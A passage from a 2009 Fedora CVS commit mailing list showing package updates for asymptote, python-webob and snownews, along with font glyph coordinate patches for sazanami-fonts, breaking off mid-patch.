RCS file: /cvs/pkgs/rpms/asymptote/devel/asymptote.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- asymptote.spec	28 Sep 2009 17:33:31 -0000	1.72
+++ asymptote.spec	6 Oct 2009 01:33:13 -0000	1.73
@@ -4,8 +4,8 @@
 %define xemacs_sitelisp %{_datadir}/xemacs/site-packages/lisp
 
 Name:           asymptote
-Version:        1.87
-Release:        2%{?dist}
+Version:        1.88
+Release:        1%{?dist}
 Summary:        Descriptive vector graphics language
 
 Group:          Applications/Publishing
@@ -150,6 +150,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.88-1
+- update to 1.88
+
 * Mon Sep 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.87-2
 - fix gcc44 patch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asymptote/devel/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	28 Sep 2009 16:48:22 -0000	1.57
+++ sources	6 Oct 2009 01:33:13 -0000	1.58
@@ -1 +1 @@
-20caf50879b6173e18c03c4857fbd64b  asymptote-1.87.src.tgz
+6b3e32747e52b3af533a149bb0131b10  asymptote-1.88.src.tgz



From lmacken at fedoraproject.org  Tue Oct  6 01:37:49 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 01:37:49 +0000 (UTC)
Subject: rpms/python-webob/EL-5 .cvsignore, 1.3, 1.4 python-webob.spec, 1.3, 
	1.4 sources, 1.3, 1.4
Message-ID: <20091006013749.36B4211C00DB@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-webob/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30050

Modified Files:
	.cvsignore python-webob.spec sources 
Log Message:
Update WebOb to the 0.9.6.1 package from F-11, for Pylons on EL-5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-webob/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Oct 2008 18:48:09 -0000	1.3
+++ .cvsignore	6 Oct 2009 01:37:48 -0000	1.4
@@ -1 +1 @@
-WebOb-0.9.3.tar.gz
+WebOb-0.9.6.1.tar.gz


Index: python-webob.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-webob/EL-5/python-webob.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-webob.spec	10 Oct 2008 18:48:09 -0000	1.3
+++ python-webob.spec	6 Oct 2009 01:37:48 -0000	1.4
@@ -1,8 +1,8 @@
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-webob
 Summary:        WSGI request and response object
-Version:        0.9.3
+Version:        0.9.6.1
 Release:        2%{?dist}
 License:        MIT
 Group:          System Environment/Libraries
@@ -10,11 +10,11 @@ URL:            http://pythonpaste.org/w
 Source0:        http://pypi.python.org/packages/source/W/WebOb/WebOb-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
-BuildRequires:  python-devel
 BuildRequires:  python-setuptools-devel
 BuildRequires:  python-nose
 BuildRequires:  python-dtopt
 BuildRequires:  python-tempita
+BuildRequires:  python-wsgiproxy
 
 %description
 WebOb provides wrappers around the WSGI request environment, and an object to 
@@ -29,6 +29,9 @@ environment.
 %{__rm} -f tests/test_request.py
 # Disable conftest, which assumes that WebOb is already installed
 %{__rm} -f tests/conftest.py
+# Disable performance_test, which requires repoze.profile, which isn't
+# in Fedora.
+%{__rm} -f tests/performance_test.py
 
 
 %build
@@ -55,6 +58,25 @@ environment.
 %{python_sitelib}/WebOb*.egg-info/
 
 %changelog
+* Tue Apr 14 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.9.6.1-2
+- Change define to global.
+- Remove unnecessary BuildRequires on python-devel.
+
+* Tue Mar 10 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.9.6.1-1
+- Upstream released new version.
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.5-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> 0.9.5-1
+- Update to 0.9.5
+
+* Sat Dec 06 2008 Ricky Zhou <ricky at fedoraproject.org> 0.9.4-1
+- Upstream released new version.
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 0.9.3-3
+- Rebuild for Python 2.6
+
 * Tue Sep 30 2008 Ricky Zhou <ricky at fedoraproject.org> 0.9.3-2
 - Add BuildRequires on python-tempita.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-webob/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Oct 2008 18:48:09 -0000	1.3
+++ sources	6 Oct 2009 01:37:48 -0000	1.4
@@ -1 +1 @@
-1ee83b8beea08a573a048cb5332a532f  WebOb-0.9.3.tar.gz
+5702ac9c9bfc39e6f04a39e15bd7b435  WebOb-0.9.6.1.tar.gz



From shishz at fedoraproject.org  Tue Oct  6 01:41:03 2009
From: shishz at fedoraproject.org (Zing Zing Shishak)
Date: Tue,  6 Oct 2009 01:41:03 +0000 (UTC)
Subject: rpms/snownews/devel .cvsignore, 1.7, 1.8 snownews.spec, 1.20,
	1.21 sources, 1.7, 1.8
Message-ID: <20091006014103.34FD711C00DB@cvs1.fedora.phx.redhat.com>

Author: shishz

Update of /cvs/pkgs/rpms/snownews/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31380

Modified Files:
	.cvsignore snownews.spec sources 
Log Message:
* Mon Oct  5 2009 Zing <zing at fastmail.fm> - 1.5.12-1
- Bug fixes + openssl added as a requirement
- Corrected two crashes when using mark unread and open URL on
  non-existent items.
- Use OpenSSL for MD5 calculations and remove all old MD5 code.
- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Aug 2008 00:31:20 -0000	1.7
+++ .cvsignore	6 Oct 2009 01:41:02 -0000	1.8
@@ -1 +1 @@
-snownews-1.5.10.tar.gz
+snownews-1.5.12.tar.gz


Index: snownews.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/devel/snownews.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- snownews.spec	27 Jul 2009 04:31:59 -0000	1.20
+++ snownews.spec	6 Oct 2009 01:41:02 -0000	1.21
@@ -1,14 +1,14 @@
 Name:		snownews
-Version: 	1.5.10
-Release: 	6%{?dist}
+Version: 	1.5.12
+Release: 	1%{?dist}
 Summary: 	A text mode RSS/RDF newsreader
 Group: 		Applications/Internet
 License: 	GPLv2
 Url:		http://home.kcore.de/~kiza/software/snownews
-Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.10.tar.gz
+Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.12.tar.gz
 Patch0:		snownews-1.5.10-nocheck.patch
 Patch1:		snownews-1.5.10-nostrip.patch
-Patch2:		snownews-1.5.10-manpage.patch
+Patch2:		snownews-1.5.12-manpage.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libxml2-devel
 BuildRequires:	ncurses-devel
@@ -50,6 +50,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/man1/*
 
 %changelog
+* Mon Oct  5 2009 Zing <zing at fastmail.fm> - 1.5.12-1
+- Bug fixes + openssl added as a requirement
+- Corrected two crashes when using mark unread and open URL on
+  non-existent items.
+- Use OpenSSL for MD5 calculations and remove all old MD5 code.
+- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.10-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Aug 2008 00:31:20 -0000	1.7
+++ sources	6 Oct 2009 01:41:03 -0000	1.8
@@ -1 +1 @@
-213a7543bab31a7dfe5a76c173cd5d49  snownews-1.5.10.tar.gz
+80da8943fc5aa96571924aec0087d4c0  snownews-1.5.12.tar.gz



From shishz at fedoraproject.org  Tue Oct  6 01:48:14 2009
From: shishz at fedoraproject.org (Zing Zing Shishak)
Date: Tue,  6 Oct 2009 01:48:14 +0000 (UTC)
Subject: rpms/snownews/devel snownews-1.5.12-manpage.patch, NONE,
	1.1 snownews-1.5.10-manpage.patch, 1.1, NONE
Message-ID: <20091006014814.A4DB911C00DB@cvs1.fedora.phx.redhat.com>

Author: shishz

Update of /cvs/pkgs/rpms/snownews/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv699

Added Files:
	snownews-1.5.12-manpage.patch 
Removed Files:
	snownews-1.5.10-manpage.patch 
Log Message:
commit new manpage patch

snownews-1.5.12-manpage.patch:
 snownews.1.in |   13 -------------
 1 file changed, 13 deletions(-)

--- NEW FILE snownews-1.5.12-manpage.patch ---
--- snownews-1.5.12/doc/man/snownews.1.in.orig	2009-10-05 21:28:01.000000000 -0400
+++ snownews-1.5.12/doc/man/snownews.1.in	2009-10-05 21:29:18.000000000 -0400
@@ -184,19 +184,6 @@ variable "http_proxy". Snownews expects 
 .I http://your_proxy.org:PORT/
 (http://proxy.your_isp.com:8080/).
 .P
-.B Automatic update checking
-.P
-Once a week the program will automatically check for a new version when it exits.
-It will request a file named "version" from my webserver and compare
-the returned value with the local program version. If they differ it
-notifies the user of a new version. It is done on exit to be least
-annoying I hope. This way you can easily ignore it if you don't want
-to upgrade for some reason or can't, because you're using a package
-that came with your distribution, etc. To disable this check, put the value
--1 into the file ~/.snownews/updatecheck. Snownews will
-not transfer anything to my server. It will just download a file
-containing the version number and compare it locally.
-.P
 .B Plugins
 .P
 Snownews has a plugin architecture that allows to load feeds from external


--- snownews-1.5.10-manpage.patch DELETED ---



From shishz at fedoraproject.org  Tue Oct  6 01:58:45 2009
From: shishz at fedoraproject.org (Zing Zing Shishak)
Date: Tue,  6 Oct 2009 01:58:45 +0000 (UTC)
Subject: rpms/snownews/devel snownews.spec,1.21,1.22
Message-ID: <20091006015845.A95FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: shishz

Update of /cvs/pkgs/rpms/snownews/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4359

Modified Files:
	snownews.spec 
Log Message:
build requires openssl-devel


Index: snownews.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/devel/snownews.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- snownews.spec	6 Oct 2009 01:41:02 -0000	1.21
+++ snownews.spec	6 Oct 2009 01:58:45 -0000	1.22
@@ -13,6 +13,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 BuildRequires:	libxml2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	gettext
+BuildRequires:	openssl-devel
 
 %description
 Snownews  is  a text mode RSS/RDF newsreader. It supports all versions



From tagoh at fedoraproject.org  Tue Oct  6 03:02:03 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Tue,  6 Oct 2009 03:02:03 +0000 (UTC)
Subject: rpms/sazanami-fonts/devel uni7E6B-gothic.patch, NONE,
	1.1 uni7E6B-mincho.patch, NONE, 1.1 sazanami-fonts.spec, 1.7, 1.8
Message-ID: <20091006030204.3B53311C00DB@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/sazanami-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12915

Modified Files:
	sazanami-fonts.spec 
Added Files:
	uni7E6B-gothic.patch uni7E6B-mincho.patch 
Log Message:
* Tue Oct  6 2009 Akira TAGOH <tagoh at redhat.com> - 0.20040629-9
- keeps the original timestamps for TTFs.

uni7E6B-gothic.patch:
 sazanami-gothic.ttx |  321 ++++++++++++++++++++++++++++------------------------
 1 file changed, 176 insertions(+), 145 deletions(-)

--- NEW FILE uni7E6B-gothic.patch ---
--- sazanami-gothic.ttx.orig	2009-09-30 09:12:32.000000000 +0100
+++ sazanami-gothic.ttx	2009-09-30 09:15:28.000000000 +0100
@@ -851447,168 +851447,199 @@
         </bytecode></instructions>
     </TTGlyph>
 
-    <TTGlyph name="uni7E6B" xMin="43" yMin="-105" xMax="1008" yMax="814">
+    <TTGlyph name="uni7E6B" xMin="79" yMin="-127" xMax="1008" yMax="814">
       <contour>
-        <pt x="722" y="321" on="1"/>
-        <pt x="749" y="306" on="0"/>
-        <pt x="779" y="291" on="1"/>
-        <pt x="731" y="285" on="0"/>
-        <pt x="635" y="275" on="1"/>
-        <pt x="684" y="297" on="0"/>
-      </contour>
-      <contour>
-        <pt x="726" y="400" on="1"/>
-        <pt x="672" y="436" on="0"/>
-        <pt x="646" y="473" on="1"/>
-        <pt x="809" y="473" on="1"/>
-        <pt x="776" y="435" on="0"/>
+        <pt x="729" y="378" on="1"/>
+        <pt x="777" y="416" on="0"/>
+        <pt x="813" y="459" on="1"/>
+        <pt x="648" y="459" on="1"/>
+        <pt x="674" y="418" on="0"/>
       </contour>
       <contour>
         <pt x="295" y="623" on="1"/>
-        <pt x="368" y="623" on="1"/>
-        <pt x="368" y="603" on="1"/>
         <pt x="295" y="603" on="1"/>
+        <pt x="368" y="603" on="1"/>
+        <pt x="368" y="623" on="1"/>
       </contour>
       <contour>
         <pt x="295" y="536" on="1"/>
-        <pt x="368" y="536" on="1"/>
-        <pt x="368" y="515" on="1"/>
         <pt x="295" y="515" on="1"/>
+        <pt x="368" y="515" on="1"/>
+        <pt x="368" y="536" on="1"/>
+      </contour>
+      <contour>
+        <pt x="501" y="459" on="1"/>
+        <pt x="501" y="525" on="1"/>
+        <pt x="878" y="525" on="1"/>
+        <pt x="904" y="479" on="1"/>
+        <pt x="854" y="400" on="0"/>
+        <pt x="785" y="342" on="1"/>
+        <pt x="873" y="292" on="0"/>
+        <pt x="1008" y="246" on="1"/>
+        <pt x="963" y="192" on="1"/>
+        <pt x="814" y="244" on="0"/>
+        <pt x="726" y="299" on="1"/>
+        <pt x="630" y="236" on="0"/>
+        <pt x="506" y="198" on="1"/>
+        <pt x="523" y="177" on="0"/>
+        <pt x="522" y="169" on="1"/>
+        <pt x="520" y="160" on="0"/>
+        <pt x="490" y="167" on="1"/>
+        <pt x="457" y="146" on="0"/>
+        <pt x="401" y="124" on="1"/>
+        <pt x="407" y="120" on="0"/>
+        <pt x="409" y="118" on="1"/>
+        <pt x="392" y="78" on="1"/>
+        <pt x="572" y="140" on="0"/>
+        <pt x="668" y="198" on="1"/>
+        <pt x="714" y="144" on="0"/>
+        <pt x="714" y="129" on="1"/>
+        <pt x="714" y="118" on="0"/>
+        <pt x="681" y="129" on="1"/>
+        <pt x="637" y="105" on="0"/>
+        <pt x="589" y="84" on="1"/>
+        <pt x="645" y="85" on="0"/>
+        <pt x="752" y="89" on="1"/>
+        <pt x="762" y="121" on="1"/>
+        <pt x="843" y="98" on="0"/>
+        <pt x="909" y="46" on="1"/>
+        <pt x="878" y="-14" on="1"/>
+        <pt x="843" y="14" on="0"/>
+        <pt x="813" y="30" on="1"/>
+        <pt x="813" y="25" on="1"/>
+        <pt x="812" y="25" on="0"/>
+        <pt x="810" y="25" on="1"/>
+        <pt x="687" y="20" on="1"/>
+        <pt x="803" y="-3" on="0"/>
+        <pt x="903" y="-64" on="1"/>
+        <pt x="879" y="-127" on="1"/>
+        <pt x="773" y="-60" on="0"/>
+        <pt x="653" y="-41" on="1"/>
+        <pt x="663" y="20" on="1"/>
+        <pt x="623" y="18" on="0"/>
+        <pt x="543" y="16" on="1"/>
+        <pt x="543" y="-106" on="1"/>
+        <pt x="477" y="-106" on="1"/>
+        <pt x="477" y="14" on="1"/>
+        <pt x="474" y="14" on="0"/>
+        <pt x="472" y="14" on="1"/>
+        <pt x="344" y="10" on="1"/>
+        <pt x="372" y="-26" on="0"/>
+        <pt x="372" y="-38" on="1"/>
+        <pt x="373" y="-51" on="0"/>
+        <pt x="340" y="-38" on="1"/>
+        <pt x="256" y="-84" on="0"/>
+        <pt x="126" y="-120" on="1"/>
+        <pt x="84" y="-63" on="1"/>
+        <pt x="206" y="-30" on="0"/>
+        <pt x="285" y="9" on="1"/>
+        <pt x="187" y="6" on="1"/>
+        <pt x="180" y="-13" on="0"/>
+        <pt x="169" y="-14" on="1"/>
+        <pt x="146" y="-16" on="0"/>
+        <pt x="132" y="71" on="1"/>
+        <pt x="352" y="77" on="1"/>
+        <pt x="295" y="110" on="0"/>
+        <pt x="229" y="125" on="1"/>
+        <pt x="243" y="190" on="1"/>
+        <pt x="286" y="180" on="0"/>
+        <pt x="321" y="165" on="1"/>
+        <pt x="381" y="187" on="0"/>
+        <pt x="413" y="202" on="1"/>
+        <pt x="390" y="236" on="1"/>
+        <pt x="405" y="245" on="1"/>
+        <pt x="79" y="245" on="1"/>
+        <pt x="85" y="353" on="1"/>
+        <pt x="145" y="346" on="0"/>
+        <pt x="163" y="336" on="1"/>
+        <pt x="183" y="325" on="0"/>
+        <pt x="149" y="315" on="1"/>
+        <pt x="149" y="312" on="1"/>
+        <pt x="229" y="312" on="1"/>
+        <pt x="229" y="362" on="1"/>
+        <pt x="93" y="362" on="1"/>
+        <pt x="93" y="428" on="1"/>
+        <pt x="229" y="428" on="1"/>
+        <pt x="229" y="448" on="1"/>
+        <pt x="90" y="448" on="1"/>
+        <pt x="88" y="689" on="1"/>
+        <pt x="229" y="689" on="1"/>
+        <pt x="229" y="709" on="1"/>
+        <pt x="108" y="709" on="1"/>
+        <pt x="108" y="776" on="1"/>
+        <pt x="229" y="776" on="1"/>
+        <pt x="229" y="814" on="1"/>
+        <pt x="261" y="811" on="0"/>
+        <pt x="281" y="808" on="1"/>
+        <pt x="308" y="799" on="1"/>
+        <pt x="328" y="789" on="0"/>
+        <pt x="295" y="777" on="1"/>
+        <pt x="295" y="776" on="1"/>
+        <pt x="425" y="776" on="1"/>
+        <pt x="425" y="709" on="1"/>
+        <pt x="295" y="709" on="1"/>
+        <pt x="295" y="689" on="1"/>
+        <pt x="435" y="689" on="1"/>
+        <pt x="435" y="607" on="1"/>
+        <pt x="471" y="615" on="0"/>
+        <pt x="490" y="626" on="1"/>
+        <pt x="517" y="642" on="1"/>
+        <pt x="576" y="677" on="0"/>
+        <pt x="566" y="804" on="1"/>
+        <pt x="831" y="804" on="1"/>
+        <pt x="831" y="665" on="1"/>
+        <pt x="831" y="632" on="0"/>
+        <pt x="866" y="629" on="1"/>
+        <pt x="878" y="628" on="1"/>
+        <pt x="882" y="628" on="0"/>
+        <pt x="885" y="628" on="1"/>
+        <pt x="928" y="627" on="0"/>
+        <pt x="933" y="635" on="1"/>
+        <pt x="946" y="655" on="1"/>
+        <pt x="981" y="590" on="1"/>
+        <pt x="971" y="579" on="0"/>
+        <pt x="955" y="572" on="1"/>
+        <pt x="930" y="562" on="0"/>
+        <pt x="875" y="562" on="1"/>
+        <pt x="863" y="562" on="1"/>
+        <pt x="764" y="562" on="0"/>
+        <pt x="764" y="665" on="1"/>
+        <pt x="764" y="737" on="1"/>
+        <pt x="632" y="737" on="1"/>
+        <pt x="628" y="704" on="0"/>
+        <pt x="616" y="674" on="1"/>
+        <pt x="574" y="570" on="0"/>
+        <pt x="435" y="540" on="1"/>
+        <pt x="435" y="448" on="1"/>
+        <pt x="295" y="448" on="1"/>
+        <pt x="295" y="428" on="1"/>
+        <pt x="430" y="428" on="1"/>
+        <pt x="430" y="362" on="1"/>
+        <pt x="295" y="362" on="1"/>
+        <pt x="295" y="312" on="1"/>
+        <pt x="362" y="312" on="1"/>
+        <pt x="366" y="351" on="1"/>
+        <pt x="423" y="343" on="0"/>
+        <pt x="442" y="333" on="1"/>
+        <pt x="465" y="321" on="0"/>
+        <pt x="429" y="312" on="1"/>
+        <pt x="420" y="245" on="1"/>
+        <pt x="560" y="272" on="0"/>
+        <pt x="665" y="342" on="1"/>
+        <pt x="592" y="398" on="0"/>
+        <pt x="565" y="461" on="1"/>
       </contour>
       <contour>
         <pt x="229" y="515" on="1"/>
-        <pt x="156" y="515" on="1"/>
-        <pt x="156" y="536" on="1"/>
         <pt x="229" y="536" on="1"/>
+        <pt x="156" y="536" on="1"/>
+        <pt x="156" y="515" on="1"/>
       </contour>
       <contour>
         <pt x="229" y="603" on="1"/>
-        <pt x="155" y="603" on="1"/>
-        <pt x="155" y="623" on="1"/>
         <pt x="229" y="623" on="1"/>
-      </contour>
-      <contour>
-        <pt x="229" y="776" on="1"/>
-        <pt x="108" y="776" on="1"/>
-        <pt x="108" y="709" on="1"/>
-        <pt x="229" y="709" on="1"/>
-        <pt x="229" y="689" on="1"/>
-        <pt x="88" y="689" on="1"/>
-        <pt x="90" y="448" on="1"/>
-        <pt x="229" y="448" on="1"/>
-        <pt x="229" y="428" on="1"/>
-        <pt x="93" y="428" on="1"/>
-        <pt x="93" y="362" on="1"/>
-        <pt x="229" y="362" on="1"/>
-        <pt x="229" y="312" on="1"/>
-        <pt x="149" y="312" on="1"/>
-        <pt x="149" y="315" on="1"/>
-        <pt x="183" y="325" on="0"/>
-        <pt x="163" y="336" on="1"/>
-        <pt x="145" y="346" on="0"/>
-        <pt x="85" y="353" on="1"/>
-        <pt x="79" y="245" on="1"/>
-        <pt x="151" y="245" on="1"/>
-        <pt x="179" y="180" on="1"/>
-        <pt x="330" y="183" on="0"/>
-        <pt x="479" y="195" on="1"/>
-        <pt x="479" y="171" on="1"/>
-        <pt x="120" y="171" on="1"/>
-        <pt x="120" y="104" on="1"/>
-        <pt x="479" y="104" on="1"/>
-        <pt x="479" y="78" on="1"/>
-        <pt x="43" y="78" on="1"/>
-        <pt x="43" y="12" on="1"/>
-        <pt x="472" y="12" on="1"/>
-        <pt x="451" y="-38" on="0"/>
-        <pt x="360" y="-38" on="1"/>
-        <pt x="393" y="-105" on="1"/>
-        <pt x="526" y="-105" on="0"/>
-        <pt x="543" y="12" on="1"/>
-        <pt x="986" y="12" on="1"/>
-        <pt x="986" y="78" on="1"/>
-        <pt x="545" y="78" on="1"/>
-        <pt x="545" y="104" on="1"/>
-        <pt x="906" y="104" on="1"/>
-        <pt x="906" y="171" on="1"/>
-        <pt x="545" y="171" on="1"/>
-        <pt x="545" y="200" on="1"/>
-        <pt x="625" y="206" on="0"/>
-        <pt x="781" y="224" on="1"/>
-        <pt x="811" y="198" on="0"/>
-        <pt x="812" y="215" on="1"/>
-        <pt x="813" y="230" on="0"/>
-        <pt x="796" y="283" on="1"/>
-        <pt x="863" y="253" on="0"/>
-        <pt x="963" y="219" on="1"/>
-        <pt x="1008" y="275" on="1"/>
-        <pt x="879" y="315" on="0"/>
-        <pt x="785" y="365" on="1"/>
-        <pt x="857" y="422" on="0"/>
-        <pt x="903" y="493" on="1"/>
-        <pt x="878" y="539" on="1"/>
-        <pt x="495" y="539" on="1"/>
-        <pt x="495" y="473" on="1"/>
-        <pt x="569" y="473" on="1"/>
-        <pt x="593" y="414" on="0"/>
-        <pt x="662" y="361" on="1"/>
-        <pt x="563" y="307" on="0"/>
-        <pt x="426" y="274" on="1"/>
-        <pt x="429" y="312" on="1"/>
-        <pt x="465" y="321" on="0"/>
-        <pt x="442" y="333" on="1"/>
-        <pt x="423" y="343" on="0"/>
-        <pt x="366" y="351" on="1"/>
-        <pt x="362" y="312" on="1"/>
-        <pt x="295" y="312" on="1"/>
-        <pt x="295" y="362" on="1"/>
-        <pt x="430" y="362" on="1"/>
-        <pt x="430" y="428" on="1"/>
-        <pt x="295" y="428" on="1"/>
-        <pt x="295" y="448" on="1"/>
-        <pt x="435" y="448" on="1"/>
-        <pt x="435" y="540" on="1"/>
-        <pt x="571" y="569" on="0"/>
-        <pt x="616" y="674" on="1"/>
-        <pt x="628" y="704" on="0"/>
-        <pt x="632" y="737" on="1"/>
-        <pt x="764" y="737" on="1"/>
-        <pt x="764" y="665" on="1"/>
-        <pt x="764" y="566" on="0"/>
-        <pt x="863" y="562" on="1"/>
-        <pt x="875" y="562" on="1"/>
-        <pt x="925" y="560" on="0"/>
-        <pt x="955" y="572" on="1"/>
-        <pt x="971" y="579" on="0"/>
-        <pt x="981" y="590" on="1"/>
-        <pt x="946" y="655" on="1"/>
-        <pt x="933" y="635" on="1"/>
-        <pt x="928" y="627" on="0"/>
-        <pt x="885" y="628" on="1"/>
-        <pt x="882" y="628" on="0"/>
-        <pt x="878" y="628" on="1"/>
-        <pt x="866" y="629" on="1"/>
-        <pt x="831" y="631" on="0"/>
-        <pt x="831" y="665" on="1"/>
-        <pt x="831" y="804" on="1"/>
-        <pt x="566" y="804" on="1"/>
-        <pt x="575" y="688" on="0"/>
-        <pt x="517" y="642" on="1"/>
-        <pt x="490" y="626" on="1"/>
-        <pt x="467" y="614" on="0"/>
-        <pt x="435" y="607" on="1"/>
-        <pt x="435" y="689" on="1"/>
-        <pt x="295" y="689" on="1"/>
-        <pt x="295" y="709" on="1"/>
-        <pt x="425" y="709" on="1"/>
-        <pt x="425" y="776" on="1"/>
-        <pt x="295" y="776" on="1"/>
-        <pt x="295" y="777" on="1"/>
-        <pt x="328" y="789" on="0"/>
-        <pt x="308" y="799" on="1"/>
-        <pt x="281" y="808" on="1"/>
-        <pt x="261" y="811" on="0"/>
-        <pt x="229" y="814" on="1"/>
+        <pt x="155" y="623" on="1"/>
+        <pt x="155" y="603" on="1"/>
       </contour>
       <instructions><bytecode>
         </bytecode></instructions>

uni7E6B-mincho.patch:
 sazanami-mincho.ttx |  345 +++++++++++++++++++++++++++++-----------------------
 1 file changed, 197 insertions(+), 148 deletions(-)

--- NEW FILE uni7E6B-mincho.patch ---
--- sazanami-mincho.ttx.orig	2009-09-30 15:56:13.000000000 +0100
+++ sazanami-mincho.ttx	2009-10-01 10:47:28.000000000 +0100
@@ -1429085,15 +1429085,149 @@
         </bytecode></instructions>
     </TTGlyph>
 
-    <TTGlyph name="uni7E6B" xMin="32" yMin="-116" xMax="1015" yMax="821">
+    <TTGlyph name="uni7E6B" xMin="82" yMin="-105" xMax="1015" yMax="821">
       <contour>
-        <pt x="608" y="495" on="1"/>
-        <pt x="832" y="495" on="1"/>
-        <pt x="782" y="418" on="0"/>
-        <pt x="730" y="376" on="1"/>
-        <pt x="644" y="425" on="0"/>
-        <pt x="615" y="483" on="1"/>
-        <pt x="612" y="491" on="0"/>
+        <pt x="537" y="37" on="1"/>
+        <pt x="808" y="57" on="1"/>
+        <pt x="855" y="20" on="1"/>
+        <pt x="875" y="8" on="0"/>
+        <pt x="893" y="16" on="1"/>
+        <pt x="924" y="34" on="0"/>
+        <pt x="895" y="59" on="1"/>
+        <pt x="873" y="73" on="1"/>
+        <pt x="836" y="86" on="1"/>
+        <pt x="792" y="98" on="0"/>
+        <pt x="737" y="98" on="1"/>
+        <pt x="777" y="82" on="0"/>
+        <pt x="808" y="58" on="1"/>
+        <pt x="710" y="59" on="0"/>
+        <pt x="461" y="61" on="1"/>
+        <pt x="595" y="102" on="0"/>
+        <pt x="667" y="132" on="1"/>
+        <pt x="693" y="143" on="0"/>
+        <pt x="693" y="150" on="1"/>
+        <pt x="693" y="158" on="0"/>
+        <pt x="676" y="168" on="1"/>
+        <pt x="667" y="173" on="0"/>
+        <pt x="653" y="180" on="1"/>
+        <pt x="592" y="131" on="0"/>
+        <pt x="484" y="84" on="1"/>
+        <pt x="460" y="74" on="0"/>
+        <pt x="432" y="62" on="1"/>
+        <pt x="221" y="64" on="0"/>
+        <pt x="129" y="66" on="1"/>
+        <pt x="143" y="-6" on="0"/>
+        <pt x="156" y="-4" on="1"/>
+        <pt x="160" y="-3" on="0"/>
+        <pt x="167" y="12" on="1"/>
+        <pt x="264" y="18" on="0"/>
+        <pt x="482" y="34" on="1"/>
+        <pt x="484" y="-41" on="0"/>
+        <pt x="483" y="-71" on="1"/>
+        <pt x="482" y="-93" on="0"/>
+        <pt x="493" y="-101" on="1"/>
+        <pt x="499" y="-105" on="0"/>
+        <pt x="510" y="-105" on="1"/>
+        <pt x="531" y="-105" on="0"/>
+        <pt x="535" y="-83" on="1"/>
+        <pt x="537" y="-71" on="0"/>
+        <pt x="536" y="-48" on="1"/>
+        <pt x="535" y="-25" on="0"/>
+      </contour>
+      <contour>
+        <pt x="312" y="13" on="1"/>
+        <pt x="254" y="-32" on="0"/>
+        <pt x="152" y="-71" on="1"/>
+        <pt x="133" y="-78" on="0"/>
+        <pt x="109" y="-87" on="1"/>
+        <pt x="105" y="-89" on="0"/>
+        <pt x="106" y="-91" on="1"/>
+        <pt x="107" y="-94" on="0"/>
+        <pt x="111" y="-93" on="1"/>
+        <pt x="252" y="-65" on="0"/>
+        <pt x="326" y="-35" on="1"/>
+        <pt x="352" y="-25" on="0"/>
+        <pt x="352" y="-18" on="1"/>
+        <pt x="352" y="-10" on="0"/>
+        <pt x="332" y="2" on="1"/>
+      </contour>
+      <contour>
